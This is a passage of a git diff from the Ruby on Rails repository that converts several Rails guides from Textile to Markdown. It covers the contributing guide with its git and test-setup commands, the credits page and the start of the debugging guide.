-*+engines_blank_point+* Provides a point-in-initialization to hook into if you wish to do anything before engines are loaded. After this point, all railtie and engine initializers are run.
-
-*+add_generator_templates+* Finds templates for generators at +lib/templates+ for the application, railities and engines and adds these to the +config.generators.templates+ setting, which will make the templates available for all generators to reference.
-
-*+ensure_autoload_once_paths_as_subset+* Ensures that the +config.autoload_once_paths+ only contains paths from +config.autoload_paths+. If it contains extra paths, then an exception will be raised.
-
-*+add_to_prepare_blocks+* The block for every +config.to_prepare+ call in the application, a railtie or engine is added to the +to_prepare+ callbacks for Action Dispatch which will be ran per request in development, or before the first request in production.
-
-*+add_builtin_route+* If the application is running under the development environment then this will append the route for +rails/info/properties+ to the application routes. This route provides the detailed information such as Rails and Ruby version for +public/index.html+ in a default Rails application.
-
-*+build_middleware_stack+* Builds the middleware stack for the application, returning an object which has a +call+ method which takes a Rack environment object for the request.
-
-*+eager_load!+* If +config.cache_classes+ is true, runs the +config.before_eager_load+ hooks and then calls +eager_load!+ which will load all the Ruby files from +config.eager_load_paths+.
-
-*+finisher_hook+* Provides a hook for after the initialization of process of the application is complete, as well as running all the +config.after_initialize+ blocks for the application, railties and engines.
-
-*+set_routes_reloader+* Configures Action Dispatch to reload the routes file using +ActionDispatch::Callbacks.to_prepare+.
-
-*+disable_dependency_loading+* Disables the automatic dependency loading if the +config.cache_classes+ is set to true and +config.dependency_loading+ is set to false.
-
-h3. Database pooling
-
-Active Record database connections are managed by +ActiveRecord::ConnectionAdapters::ConnectionPool+ which ensures that a connection pool synchronizes the amount of thread access to a limited number of database connections. This limit defaults to 5 and can be configured in +database.yml+.
-
-<ruby>
-development:
- adapter: sqlite3
- database: db/development.sqlite3
- pool: 5
- timeout: 5000
-</ruby>
-
-Since the connection pooling is handled inside of ActiveRecord by default, all application servers (Thin, mongrel, Unicorn etc.) should behave the same. Initially, the database connection pool is empty and it will create additional connections as the demand for them increases, until it reaches the connection pool limit.
-
-Any one request will check out a connection the first time it requires access to the database, after which it will check the connection back in, at the end of the request, meaning that the additional connection slot will be available again for the next request in the queue.
-
-NOTE. If you have enabled +Rails.threadsafe!+ mode then there could be a chance that several threads may be accessing multiple connections simultaneously. So depending on your current request load, you could very well have multiple threads contending for a limited amount of connections.
diff --git a/guides/source/contributing_to_ruby_on_rails.textile b/guides/source/contributing_to_ruby_on_rails.md
index 4bb4e3b546..f89317a44a 100644
--- a/guides/source/contributing_to_ruby_on_rails.textile
+++ b/guides/source/contributing_to_ruby_on_rails.md
@@ -1,4 +1,5 @@
-h2. Contributing to Ruby on Rails
+Contributing to Ruby on Rails
+=============================
This guide covers ways in which _you_ can become a part of the ongoing development of Ruby on Rails. After reading it, you should be familiar with:
@@ -10,259 +11,107 @@ This guide covers ways in which _you_ can become a part of the ongoing developme
Ruby on Rails is not "someone else's framework." Over the years, hundreds of people have contributed to Ruby on Rails ranging from a single character to massive architectural changes or significant documentation -- all with the goal of making Ruby on Rails better for everyone. Even if you don't feel up to writing code or documentation yet, there are a variety of other ways that you can contribute, from reporting issues to testing patches.
-endprologue.
+--------------------------------------------------------------------------------
-h3. Reporting an Issue
+Reporting an Issue
+------------------
-Ruby on Rails uses "GitHub Issue Tracking":https://github.com/rails/rails/issues to track issues (primarily bugs and contributions of new code). If you've found a bug in Ruby on Rails, this is the place to start. You'll need to create a (free) GitHub account in order to submit an issue, to comment on them or to create pull requests.
+Ruby on Rails uses [GitHub Issue Tracking](https://github.com/rails/rails/issues) to track issues (primarily bugs and contributions of new code). If you've found a bug in Ruby on Rails, this is the place to start. You'll need to create a (free) GitHub account in order to submit an issue, to comment on them or to create pull requests.
NOTE: Bugs in the most recent released version of Ruby on Rails are likely to get the most attention. Also, the Rails core team is always interested in feedback from those who can take the time to test _edge Rails_ (the code for the version of Rails that is currently under development). Later in this guide you'll find out how to get edge Rails for testing.
-h4. Creating a Bug Report
+### Creating a Bug Report
-If you've found a problem in Ruby on Rails which is not a security risk, do a search in GitHub under "Issues":https://github.com/rails/rails/issues in case it was already reported. If you find no issue addressing it you can "add a new one":https://github.com/rails/rails/issues/new. (See the next section for reporting security issues.)
+If you've found a problem in Ruby on Rails which is not a security risk, do a search in GitHub under [Issues](https://github.com/rails/rails/issues in case it was already reported. If you find no issue addressing it you can [add a new one](https://github.com/rails/rails/issues/new). (See the next section for reporting security issues).
At the minimum, your issue report needs a title and descriptive text. But that's only a minimum. You should include as much relevant information as possible. You need at least to post the code sample that has the issue. Even better is to include a unit test that shows how the expected behavior is not occurring. Your goal should be to make it easy for yourself -- and others -- to replicate the bug and figure out a fix.
Then, don't get your hopes up! Unless you have a "Code Red, Mission Critical, the World is Coming to an End" kind of bug, you're creating this issue report in the hope that others with the same problem will be able to collaborate with you on solving it. Do not expect that the issue report will automatically see any activity or that others will jump to fix it. Creating an issue like this is mostly to help yourself start on the path of fixing the problem and for others to confirm it with an "I'm having this problem too" comment.
-h4. Special Treatment for Security Issues
+### Special Treatment for Security Issues
-WARNING: Please do not report security vulnerabilities with public GitHub issue reports. The "Rails security policy page":http://rubyonrails.org/security details the procedure to follow for security issues.
+WARNING: Please do not report security vulnerabilities with public GitHub issue reports. The [Rails security policy page](http://rubyonrails.org/security) details the procedure to follow for security issues.
-h4. What about Feature Requests?
+### What about Feature Requests?
Please don't put "feature request" items into GitHub Issues. If there's a new feature that you want to see added to Ruby on Rails, you'll need to write the code yourself - or convince someone else to partner with you to write the code. Later in this guide you'll find detailed instructions for proposing a patch to Ruby on Rails. If you enter a wishlist item in GitHub Issues with no code, you can expect it to be marked "invalid" as soon as it's reviewed.
-If you'd like feedback on an idea for a feature before doing the work for make a patch, please send an email to the "rails-core mailing list":https://groups.google.com/forum/?fromgroups#!forum/rubyonrails-core. You might get no response, which means that everyone is indifferent. You might find someone who's also interested in building that feature. You might get a "This won't be accepted." But it's the proper place to discuss new ideas. GitHub Issues are not a particularly good venue for the sometimes long and involved discussions new features require.
+If you'd like feedback on an idea for a feature before doing the work for make a patch, please send an email to the [rails-core mailing list](https://groups.google.com/forum/?fromgroups#!forum/rubyonrails-core). You might get no response, which means that everyone is indifferent. You might find someone who's also interested in building that feature. You might get a "This won't be accepted." But it's the proper place to discuss new ideas. GitHub Issues are not a particularly good venue for the sometimes long and involved discussions new features require.
-h3. Setting Up a Development Environment
+Setting Up a Development Environment
+------------------------------------
To move on from submitting bugs to helping resolve existing issues or contributing your own code to Ruby on Rails, you _must_ be able to run its test suite. In this section of the guide you'll learn how to set up the tests on your own computer.
-h4. The Easy Way
+### The Easy Way
-The easiest way to get a development environment ready to hack is to use the "Rails development box":https://github.com/rails/rails-dev-box.
+The easiest and recommended way to get a development environment ready to hack is to use the [Rails development box](https://github.com/rails/rails-dev-box).
-h4. The Hard Way
+### The Hard Way
-h5. Install Git
+In case you can't use the Rails development box, see section above, check [this other guide](development_dependencies_install.html).
-Ruby on Rails uses Git for source code control. The "Git homepage":http://git-scm.com/ has installation instructions. There are a variety of resources on the net that will help you get familiar with Git:
-
-* "Everyday Git":http://schacon.github.com/git/everyday.html will teach you just enough about Git to get by.
-* The "PeepCode screencast":https://peepcode.com/products/git on Git ($9) is easier to follow.
-* "GitHub":http://help.github.com offers links to a variety of Git resources.
-* "Pro Git":http://git-scm.com/book is an entire book about Git with a Creative Commons license.
-
-h5. Clone the Ruby on Rails Repository
-
-Navigate to the folder where you want the Ruby on Rails source code (it will create its own +rails+ subdirectory) and run:
-
-<shell>
-$ git clone git://github.com/rails/rails.git
-$ cd rails
-</shell>
-
-h5. Set up and Run the Tests
-
-The test suite must pass with any submitted code. No matter whether you are writing a new patch, or evaluating someone else's, you need to be able to run the tests.
-
-Install first libxml2 and libxslt together with their development files for Nokogiri. In Ubuntu that's
-
-<shell>
-$ sudo apt-get install libxml2 libxml2-dev libxslt1-dev
-</shell>
-
-If you are on Fedora or CentOS, you can run
-
-<shell>
-$ sudo yum install libxml2 libxml2-devel libxslt libxslt-devel
-</shell>
-
-If you have any problems with these libraries, you should install them manually compiling the source code. Just follow the instructions at the "Red Hat/CentOS section of the Nokogiri tutorials":http://nokogiri.org/tutorials/installing_nokogiri.html#red_hat__centos .
-
-Also, SQLite3 and its development files for the +sqlite3-ruby+ gem -- in Ubuntu you're done with just
-
-<shell>
-$ sudo apt-get install sqlite3 libsqlite3-dev
-</shell>
-
-And if you are on Fedora or CentOS, you're done with
-
-<shell>
-$ sudo yum install sqlite3 sqlite3-devel
-</shell>
-
-Get a recent version of "Bundler":http://gembundler.com/:
-
-<shell>
-$ gem install bundler
-$ gem update bundler
-</shell>
-
-and run:
-
-<shell>
-$ bundle install --without db
-</shell>
-
-This command will install all dependencies except the MySQL and PostgreSQL Ruby drivers. We will come back to these soon. With dependencies installed, you can run the test suite with:
-
-<shell>
-$ bundle exec rake test
-</shell>
-
-You can also run tests for a specific component, like Action Pack, by going into its directory and executing the same command:
-
-<shell>
-$ cd actionpack
-$ bundle exec rake test
-</shell>
-
-If you want to run the tests located in a specific directory use the +TEST_DIR+ environment variable. For example, this will run the tests of the +railties/test/generators+ directory only:
-
-<shell>
-$ cd railties
-$ TEST_DIR=generators bundle exec rake test
-</shell>
-
-You can run any single test separately too:
-
-<shell>
-$ cd actionpack
-$ bundle exec ruby -Itest test/template/form_helper_test.rb
-</shell>
-
-h5. Active Record Setup
-
-The test suite of Active Record attempts to run four times: once for SQLite3, once for each of the two MySQL gems (+mysql+ and +mysql2+), and once for PostgreSQL. We are going to see now how to set up the environment for them.
-
-WARNING: If you're working with Active Record code, you _must_ ensure that the tests pass for at least MySQL, PostgreSQL, and SQLite3. Subtle differences between the various adapters have been behind the rejection of many patches that looked OK when tested only against MySQL.
-
-h6. Database Configuration
-
-The Active Record test suite requires a custom config file: +activerecord/test/config.yml+. An example is provided in +activerecord/test/config.example.yml+ which can be copied and used as needed for your environment.
-
-h6. MySQL and PostgreSQL
-
-To be able to run the suite for MySQL and PostgreSQL we need their gems. Install first the servers, their client libraries, and their development files. In Ubuntu just run
-
-<shell>
-$ sudo apt-get install mysql-server libmysqlclient15-dev
-$ sudo apt-get install postgresql postgresql-client postgresql-contrib libpq-dev
-</shell>
-
-On Fedora or CentOS, just run:
-
-<shell>
-$ sudo yum install mysql-server mysql-devel
-$ sudo yum install postgresql-server postgresql-devel
-</shell>
-
-After that run:
-
-<shell>
-$ rm .bundle/config
-$ bundle install
-</shell>
-
-We need first to delete +.bundle/config+ because Bundler remembers in that file that we didn't want to install the "db" group (alternatively you can edit the file).
-
-In order to be able to run the test suite against MySQL you need to create a user named +rails+ with privileges on the test databases:
-
-<shell>
-mysql> GRANT ALL PRIVILEGES ON activerecord_unittest.*
- to 'rails'@'localhost';
-mysql> GRANT ALL PRIVILEGES ON activerecord_unittest2.*
- to 'rails'@'localhost';
-</shell>
-
-and create the test databases:
-
-<shell>
-$ cd activerecord
-$ bundle exec rake mysql:build_databases
-</shell>
-
-PostgreSQL's authentication works differently. A simple way to set up the development environment for example is to run with your development account
-
-<shell>
-$ sudo -u postgres createuser --superuser $USER
-</shell>
-
-and then create the test databases with
-
-<shell>
-$ cd activerecord
-$ bundle exec rake postgresql:build_databases
-</shell>
-
-NOTE: Using the rake task to create the test databases ensures they have the correct character set and collation.
-
-NOTE: You'll see the following warning (or localized warning) during activating HStore extension in PostgreSQL 9.1.x or earlier: "WARNING: => is deprecated as an operator".
-
-If you’re using another database, check the file +activerecord/test/config.yml+ or +activerecord/test/config.example.yml+ for default connection information. You can edit +activerecord/test/config.yml+ to provide different credentials on your machine if you must, but obviously you should not push any such changes back to Rails.
-
-h3. Testing Active Record
+Testing Active Record
+---------------------
This is how you run the Active Record test suite only for SQLite3:
-<shell>
+```bash
$ cd activerecord
$ bundle exec rake test_sqlite3
-</shell>
+```
-You can now run the tests as you did for +sqlite3+. The tasks are respectively
+You can now run the tests as you did for `sqlite3`. The tasks are respectively
-<shell>
+```bash
test_mysql
test_mysql2
test_postgresql
-</shell>
+```
Finally,
-<shell>
+```bash
$ bundle exec rake test
-</shell>
+```
will now run the four of them in turn.
You can also run any single test separately:
-<shell>
+```bash
$ ARCONN=sqlite3 ruby -Itest test/cases/associations/has_many_associations_test.rb
-</shell>
+```
-You can invoke +test_jdbcmysql+, +test_jdbcsqlite3+ or +test_jdbcpostgresql+ also. See the file +activerecord/RUNNING_UNIT_TESTS+ for information on running more targeted database tests, or the file +ci/travis.rb+ for the test suite run by the continuous integration server.
+You can invoke `test_jdbcmysql`, `test_jdbcsqlite3` or `test_jdbcpostgresql` also. See the file `activerecord/RUNNING_UNIT_TESTS` for information on running more targeted database tests, or the file `ci/travis.rb` for the test suite run by the continuous integration server.
-h4. Warnings
+### Warnings
The test suite runs with warnings enabled. Ideally, Ruby on Rails should issue no warnings, but there may be a few, as well as some from third-party libraries. Please ignore (or fix!) them, if any, and submit patches that do not issue new warnings.
As of this writing (December, 2010) they are specially noisy with Ruby 1.9. If you are sure about what you are doing and would like to have a more clear output, there's a way to override the flag:
-<shell>
+```bash
$ RUBYOPT=-W0 bundle exec rake test
-</shell>
+```
-h4. Older Versions of Ruby on Rails
+### Older Versions of Ruby on Rails
If you want to add a fix to older versions of Ruby on Rails, you'll need to set up and switch to your own local tracking branch. Here is an example to switch to the 3-0-stable branch:
-<shell>
+```bash
$ git branch --track 3-0-stable origin/3-0-stable
$ git checkout 3-0-stable
-</shell>
+```
-TIP: You may want to "put your Git branch name in your shell prompt":http://qugstart.com/blog/git-and-svn/add-colored-git-branch-name-to-your-shell-prompt/ to make it easier to remember which version of the code you're working with.
+TIP: You may want to [put your Git branch name in your shell prompt](http://qugstart.com/blog/git-and-svn/add-colored-git-branch-name-to-your-shell-prompt/) to make it easier to remember which version of the code you're working with.
-h3. Helping to Resolve Existing Issues
+Helping to Resolve Existing Issues
+----------------------------------
-As a next step beyond reporting issues, you can help the core team resolve existing issues. If you check the "Everyone's Issues":https://github.com/rails/rails/issues list in GitHub Issues, you'll find lots of issues already requiring attention. What can you do for these? Quite a bit, actually:
+As a next step beyond reporting issues, you can help the core team resolve existing issues. If you check the [Everyone's Issues](https://github.com/rails/rails/issues) list in GitHub Issues, you'll find lots of issues already requiring attention. What can you do for these? Quite a bit, actually:
-h4. Verifying Bug Reports
+### Verifying Bug Reports
For starters, it helps just to verify bug reports. Can you reproduce the reported issue on your own computer? If so, you can add a comment to the issue saying that you're seeing the same thing.
@@ -272,20 +121,20 @@ If you find a bug report without a test, it's very useful to contribute a failin
Anything you can do to make bug reports more succinct or easier to reproduce is a help to folks trying to write code to fix those bugs - whether you end up writing the code yourself or not.
-h4. Testing Patches
+### Testing Patches
You can also help out by examining pull requests that have been submitted to Ruby on Rails via GitHub. To apply someone's changes you need first to create a dedicated branch:
-<shell>
+```bash
$ git checkout -b testing_branch
-</shell>
+```
Then you can use their remote branch to update your codebase. For example, let's say the GitHub user JohnSmith has forked and pushed to a topic branch "orange" located at https://github.com/JohnSmith/rails.
-<shell>
+```bash
$ git remote add JohnSmith git://github.com/JohnSmith/rails.git
$ git pull JohnSmith orange
-</shell>
+```
After applying their branch, test it out! Here are some things to think about:
@@ -302,17 +151,18 @@ I like the way you've restructured that code in generate_finder_sql -- much nice
If your comment simply says "+1", then odds are that other reviewers aren't going to take it too seriously. Show that you took the time to review the pull request.
-h3. Contributing to the Rails Documentation
+Contributing to the Rails Documentation
+---------------------------------------
Ruby on Rails has two main sets of documentation: the guides help you in learning about Ruby on Rails, and the API is a reference.
-You can help improve the Rails guides by making them more coherent, consistent or readable, adding missing information, correcting factual errors, fixing typos, or bringing it up to date with the latest edge Rails. To get involved in the translation of Rails guides, please see "Translating Rails Guides":https://wiki.github.com/lifo/docrails/translating-rails-guides.
+You can help improve the Rails guides by making them more coherent, consistent or readable, adding missing information, correcting factual errors, fixing typos, or bringing it up to date with the latest edge Rails. To get involved in the translation of Rails guides, please see [Translating Rails Guides](https://wiki.github.com/lifo/docrails/translating-rails-guides).
-If you're confident about your changes, you can push them directly yourself via "docrails":https://github.com/lifo/docrails. Docrails is a branch with an *open commit policy* and public write access. Commits to docrails are still reviewed, but this happens after they are pushed. Docrails is merged with master regularly, so you are effectively editing the Ruby on Rails documentation.
+If you're confident about your changes, you can push them directly yourself via [docrails](https://github.com/lifo/docrails). Docrails is a branch with an **open commit policy** and public write access. Commits to docrails are still reviewed, but this happens after they are pushed. Docrails is merged with master regularly, so you are effectively editing the Ruby on Rails documentation.
-If you are unsure of the documentation changes, you can create an issue in the "Rails":https://github.com/rails/rails/issues issues tracker on GitHub.
+If you are unsure of the documentation changes, you can create an issue in the [Rails](https://github.com/rails/rails/issues) issues tracker on GitHub.
-When working with documentation, please take into account the "API Documentation Guidelines":api_documentation_guidelines.html and the "Ruby on Rails Guides Guidelines":ruby_on_rails_guides_guidelines.html.
+When working with documentation, please take into account the [API Documentation Guidelines](api_documentation_guidelines.html) and the [Ruby on Rails Guides Guidelines](ruby_on_rails_guides_guidelines.html).
NOTE: As explained earlier, ordinary code patches should have proper documentation coverage. Docrails is only used for isolated documentation improvements.
@@ -320,28 +170,29 @@ NOTE: To help our CI servers you can add [ci skip] to your documentation commit
WARNING: Docrails has a very strict policy: no code can be touched whatsoever, no matter how trivial or small the change. Only RDoc and guides can be edited via docrails. Also, CHANGELOGs should never be edited in docrails.
-h3. Contributing to the Rails Code
+Contributing to the Rails Code
+------------------------------
-h4. Clone the Rails Repository
+### Clone the Rails Repository
The first thing you need to do to be able to contribute code is to clone the repository:
-<shell>
+```bash
$ git clone git://github.com/rails/rails.git
-</shell>
+```
and create a dedicated branch:
-<shell>
+```bash
$ cd rails
$ git checkout -b my_new_branch
-</shell>
+```
It doesn’t matter much what name you use, because this branch will only exist on your local computer and your personal repository on Github. It won't be part of the Rails Git repository.
-h4. Write Your Code
+### Write Your Code
-Now get busy and add or edit code. You’re on your branch now, so you can write whatever you want (you can check to make sure you’re on the right branch with +git branch -a+). But if you’re planning to submit your change back for inclusion in Rails, keep a few things in mind:
+Now get busy and add or edit code. You’re on your branch now, so you can write whatever you want (you can check to make sure you’re on the right branch with `git branch -a`). But if you’re planning to submit your change back for inclusion in Rails, keep a few things in mind:
* Get the code right.
* Use Rails idioms and helpers.
@@ -350,22 +201,22 @@ Now get busy and add or edit code. You’re on your branch now, so you can write
TIP: Changes that are cosmetic in nature and do not add anything substantial to the stability, functionality, or testability of Rails will generally not be accepted.
-h4. Follow the Coding Conventions
+### Follow the Coding Conventions
Rails follows a simple set of coding style conventions.
* Two spaces, no tabs (for indentation).
* No trailing whitespace. Blank lines should not have any spaces.
* Indent after private/protected.
-* Prefer +&amp;&amp;+/+||+ over +and+/+or+.
+* Prefer `&&`/`||` over `and`/`or`.
* Prefer class << self over self.method for class methods.
-* Use +MyClass.my_method(my_arg)+ not +my_method( my_arg )+ or +my_method my_arg+.
+* Use `MyClass.my_method(my_arg)` not `my_method( my_arg )` or `my_method my_arg`.
* Use a = b and not a=b.
* Follow the conventions in the source you see used already.
The above are guidelines -- please use your best judgment in using them.
-h4. Updating the CHANGELOG
+### Updating the CHANGELOG
The CHANGELOG is an important part of every release. It keeps the list of changes for every Rails version.
@@ -373,7 +224,7 @@ You should add an entry to the CHANGELOG of the framework that you modified if y
A CHANGELOG entry should summarize what was changed and should end with author's name. You can use multiple lines if you need more space and you can attach code examples indented with 4 spaces. If a change is related to a specific issue, you should attach issue's number. Here is an example CHANGELOG entry:
-<plain>
+```
* Summary of a change that briefly describes what was changed. You can use multiple
lines and wrap them at around 80 characters. Code examples are ok, too, if needed:
@@ -385,30 +236,30 @@ A CHANGELOG entry should summarize what was changed and should end with author's
You can continue after the code example and you can attach issue number. GH#1234
- * Your Name *
-</plain>
+ *Your Name*
+```
Your name can be added directly after the last word if you don't provide any code examples or don't need multiple paragraphs. Otherwise, it's best to make as a new paragraph.
-h4. Sanity Check
+### Sanity Check
You should not be the only person who looks at the code before you submit it. You know at least one other Rails developer, right? Show them what you’re doing and ask for feedback. Doing this in private before you push a patch out publicly is the “smoke test” for a patch: if you can’t convince one other developer of the beauty of your code, you’re unlikely to convince the core team either.
-You might want also to check out the "RailsBridge BugMash":http://wiki.railsbridge.org/projects/railsbridge/wiki/BugMash as a way to get involved in a group effort to improve Rails. This can help you get started and help you check your code when you're writing your first patches.
+You might want also to check out the [RailsBridge BugMash](http://wiki.railsbridge.org/projects/railsbridge/wiki/BugMash) as a way to get involved in a group effort to improve Rails. This can help you get started and help you check your code when you're writing your first patches.
-h4. Commit Your Changes
+### Commit Your Changes
When you're happy with the code on your computer, you need to commit the changes to Git:
-<shell>
+```bash
$ git commit -a
-</shell>
+```
At this point, your editor should be fired up and you can write a message for this commit. Well formatted and descriptive commit messages are extremely helpful for the others, especially when figuring out why given change was made, so please take the time to write it.
Good commit message should be formatted according to the following example:
-<plain>
+```
Short summary (ideally 50 characters or less)
More detailed description, if necessary. It should be wrapped to 72
@@ -432,81 +283,81 @@ You can also add bullet points:
- also, try to indent next line of a point for readability, if it's too
long to fit in 72 characters
-</plain>
+```
TIP. Please squash your commits into a single commit when appropriate. This simplifies future cherry picks, and also keeps the git log clean.
-h4. Update Master
+### Update Master
It’s pretty likely that other changes to master have happened while you were working. Go get them:
-<shell>
+```bash
$ git checkout master
$ git pull --rebase
-</shell>
+```
Now reapply your patch on top of the latest changes:
-<shell>
+```bash
$ git checkout my_new_branch
$ git rebase master
-</shell>
+```
No conflicts? Tests still pass? Change still seems reasonable to you? Then move on.
-h4. Fork
+### Fork
-Navigate to the Rails "GitHub repository":https://github.com/rails/rails and press "Fork" in the upper right hand corner.
+Navigate to the Rails [GitHub repository](https://github.com/rails/rails) and press "Fork" in the upper right hand corner.
Add the new remote to your local repository on your local machine:
-<shell>
+```bash
$ git remote add mine git@github.com:<your user name>/rails.git
-</shell>
+```
Push to your remote:
-<shell>
+```bash
$ git push mine my_new_branch
-</shell>
+```
You might have cloned your forked repository into your machine and might want to add the original Rails repository as a remote instead, if that's the case here's what you have to do.
In the directory you cloned your fork:
-<shell>
+```bash
$ git remote add rails git://github.com/rails/rails.git
-</shell>
+```
Download new commits and branches from the official repository:
-<shell>
+```bash
$ git fetch rails
-</shell>
+```
Merge the new content:
-<shell>
+```bash
$ git checkout master
$ git rebase rails/master
-</shell>
+```
Update your fork:
-<shell>
+```bash
$ git push origin master
-</shell>
+```
If you want to update another branches:
-<shell>
+```bash
$ git checkout branch_name
$ git rebase rails/branch_name
$ git push origin branch_name
-</shell>
+```
-h4. Issue a Pull Request
+### Issue a Pull Request
Navigate to the Rails repository you just pushed to (e.g. https://github.com/your-user-name/rails) and press "Pull Request" in the upper right hand corner.
@@ -516,45 +367,46 @@ Ensure the changesets you introduced are included in the "Commits" tab. Ensure t
Fill in some details about your potential patch including a meaningful title. When finished, press "Send pull request". The Rails core team will be notified about your submission.
-h4. Get some Feedback
+### Get some Feedback
-Now you need to get other people to look at your patch, just as you've looked at other people's patches. You can use the "rubyonrails-core mailing list":http://groups.google.com/group/rubyonrails-core/ or the #rails-contrib channel on IRC freenode for this. You might also try just talking to Rails developers that you know.
+Now you need to get other people to look at your patch, just as you've looked at other people's patches. You can use the [rubyonrails-core mailing list](http://groups.google.com/group/rubyonrails-core/) or the #rails-contrib channel on IRC freenode for this. You might also try just talking to Rails developers that you know.
-h4. Iterate as Necessary
+### Iterate as Necessary
It’s entirely possible that the feedback you get will suggest changes. Don’t get discouraged: the whole point of contributing to an active open source project is to tap into community knowledge. If people are encouraging you to tweak your code, then it’s worth making the tweaks and resubmitting. If the feedback is that your code doesn’t belong in the core, you might still think about releasing it as a gem.
-h4. Backporting
+### Backporting
Changes that are merged into master are intended for the next major release of Rails. Sometimes, it might be beneficial for your changes to propagate back to the maintenance releases for older stable branches. Generally, security fixes and bug fixes are good candidates for a backport, while new features and patches that introduce a change in behavior will not be accepted. When in doubt, it is best to consult a Rails team member before backporting your changes to avoid wasted effort.
-For simple fixes, the easiest way to backport your changes is to "extract a diff from your changes in master and apply them to the target branch":http://ariejan.net/2009/10/26/how-to-create-and-apply-a-patch-with-git.
+For simple fixes, the easiest way to backport your changes is to [extract a diff from your changes in master and apply them to the target branch](http://ariejan.net/2009/10/26/how-to-create-and-apply-a-patch-with-git).
First make sure your changes are the only difference between your current branch and master:
-<shell>
+```bash
$ git log master..HEAD
-</shell>
+```
Then extract the diff:
-<shell>
+```bash
$ git format-patch master --stdout > ~/my_changes.patch
-</shell>
+```
Switch over to the target branch and apply your changes:
-<shell>
+```bash
$ git checkout -b my_backport_branch 3-2-stable
$ git apply ~/my_changes.patch
-</shell>
+```
This works well for simple changes. However, if your changes are complicated or if the code in master has deviated significantly from your target branch, it might require more work on your part. The difficulty of a backport varies greatly from case to case, and sometimes it is simply not worth the effort.
-Once you have resolved all conflicts and made sure all the tests are passing, push your changes and open a separate pull request for your backport. It is also worth noting that older branches might have a different set of build targets than master. When possible, it is best to first test your backport locally against the Ruby versions listed in +.travis.yml+ before submitting your pull request.
+Once you have resolved all conflicts and made sure all the tests are passing, push your changes and open a separate pull request for your backport. It is also worth noting that older branches might have a different set of build targets than master. When possible, it is best to first test your backport locally against the Ruby versions listed in `.travis.yml` before submitting your pull request.
And then... think about your next contribution!
-h3. Rails Contributors
+Rails Contributors
+------------------
-All contributions, either via master or docrails, get credit in "Rails Contributors":http://contributors.rubyonrails.org.
+All contributions, either via master or docrails, get credit in [Rails Contributors](http://contributors.rubyonrails.org).
diff --git a/guides/source/credits.html.erb b/guides/source/credits.html.erb
index 04deec6a11..e25168d58d 100644
--- a/guides/source/credits.html.erb
+++ b/guides/source/credits.html.erb
@@ -64,7 +64,7 @@ Oscar Del Ben is a software engineer at <a href="http://www.wildfireapp.com/">Wi
<% end %>
<%= author('Pratik Naik', 'lifo') do %>
- Pratik Naik is a Ruby on Rails consultant with <a href="http://www.actionrails.com">ActionRails</a> and also a member of the <a href="http://rubyonrails.org/core">Rails core team</a>. He maintains a blog at <a href="http://m.onkey.org">has_many :bugs, :through =&gt; :rails</a> and has an active <a href="http://twitter.com/lifo">twitter account</a>.
+ Pratik Naik is a Ruby on Rails developer at <a href="http://www.37signals.com">37signals</a> and also a member of the <a href="http://rubyonrails.org/core">Rails core team</a>. He maintains a blog at <a href="http://m.onkey.org">has_many :bugs, :through =&gt; :rails</a> and has a semi-active <a href="http://twitter.com/lifo">twitter account</a>.
<% end %>
<%= author('Emilio Tagua', 'miloops') do %>
diff --git a/guides/source/debugging_rails_applications.textile b/guides/source/debugging_rails_applications.md
index 667f2d2140..3651ec5ad8 100644
--- a/guides/source/debugging_rails_applications.textile
+++ b/guides/source/debugging_rails_applications.md
@@ -1,4 +1,5 @@
-h2. Debugging Rails Applications
+Debugging Rails Applications
+============================
This guide introduces techniques for debugging Ruby on Rails applications. By referring to this guide, you will be able to:
@@ -7,31 +8,32 @@ This guide introduces techniques for debugging Ruby on Rails applications. By re
* Learn the different ways of debugging
* Analyze the stack trace
-endprologue.
+--------------------------------------------------------------------------------
-h3. View Helpers for Debugging
+View Helpers for Debugging
+--------------------------
One common task is to inspect the contents of a variable. In Rails, you can do this with three methods:
-* +debug+
-* +to_yaml+
-* +inspect+
+* `debug`
+* `to_yaml`
+* `inspect`
-h4. +debug+
+### `debug`
-The +debug+ helper will return a &lt;pre&gt;-tag that renders the object using the YAML format. This will generate human-readable data from any object. For example, if you have this code in a view:
+The `debug` helper will return a \<pre>-tag that renders the object using the YAML format. This will generate human-readable data from any object. For example, if you have this code in a view:
-<html>
+```html+erb
<%= debug @post %>
<p>
<b>Title:</b>
<%=h @post.title %>
</p>
-</html>
+```
You'll see something like this:
-<yaml>
+```yaml
--- !ruby/object:Post
attributes:
updated_at: 2008-09-05 22:55:47
@@ -44,25 +46,25 @@ attributes_cache: {}
Title: Rails debugging guide
-</yaml>
+```
-h4. +to_yaml+
+### `to_yaml`
Displaying an instance variable, or any other object or method, in YAML format can be achieved this way:
-<html>
+```html+erb
<%= simple_format @post.to_yaml %>
<p>
<b>Title:</b>
<%=h @post.title %>
</p>
-</html>
+```
-The +to_yaml+ method converts the method to YAML format leaving it more readable, and then the +simple_format+ helper is used to render each line as in the console. This is how +debug+ method does its magic.
+The `to_yaml` method converts the method to YAML format leaving it more readable, and then the `simple_format` helper is used to render each line as in the console. This is how `debug` method does its magic.
As a result of this, you will have something like this in your view:
-<yaml>
+```yaml
--- !ruby/object:Post
attributes:
updated_at: 2008-09-05 22:55:47
@@ -74,80 +76,81 @@ created_at: 2008-09-05 22:55:47
attributes_cache: {}
Title: Rails debugging guide
-</yaml>
+```
-h4. +inspect+
+### `inspect`
-Another useful method for displaying object values is +inspect+, especially when working with arrays or hashes. This will print the object value as a string. For example:
+Another useful method for displaying object values is `inspect`, especially when working with arrays or hashes. This will print the object value as a string. For example:
-<html>
+```html+erb
<%= [1, 2, 3, 4, 5].inspect %>
<p>
<b>Title:</b>
<%=h @post.title %>
</p>
-</html>
+```
Will be rendered as follows:
-<pre>
+```
[1, 2, 3, 4, 5]
Title: Rails debugging guide
-</pre>
+```
-h3. The Logger
+The Logger
+----------
It can also be useful to save information to log files at runtime. Rails maintains a separate log file for each runtime environment.
-h4. What is the Logger?
+### What is the Logger?
-Rails makes use of the +ActiveSupport::BufferedLogger+ class to write log information. You can also substitute another logger such as +Log4r+ if you wish.
+Rails makes use of the `ActiveSupport::BufferedLogger` class to write log information. You can also substitute another logger such as `Log4r` if you wish.
-You can specify an alternative logger in your +environment.rb+ or any environment file:
+You can specify an alternative logger in your `environment.rb` or any environment file:
-<ruby>
+```ruby
Rails.logger = Logger.new(STDOUT)
Rails.logger = Log4r::Logger.new("Application Log")
-</ruby>
+```
-Or in the +Initializer+ section, add _any_ of the following
+Or in the `Initializer` section, add _any_ of the following
-<ruby>
+```ruby
config.logger = Logger.new(STDOUT)
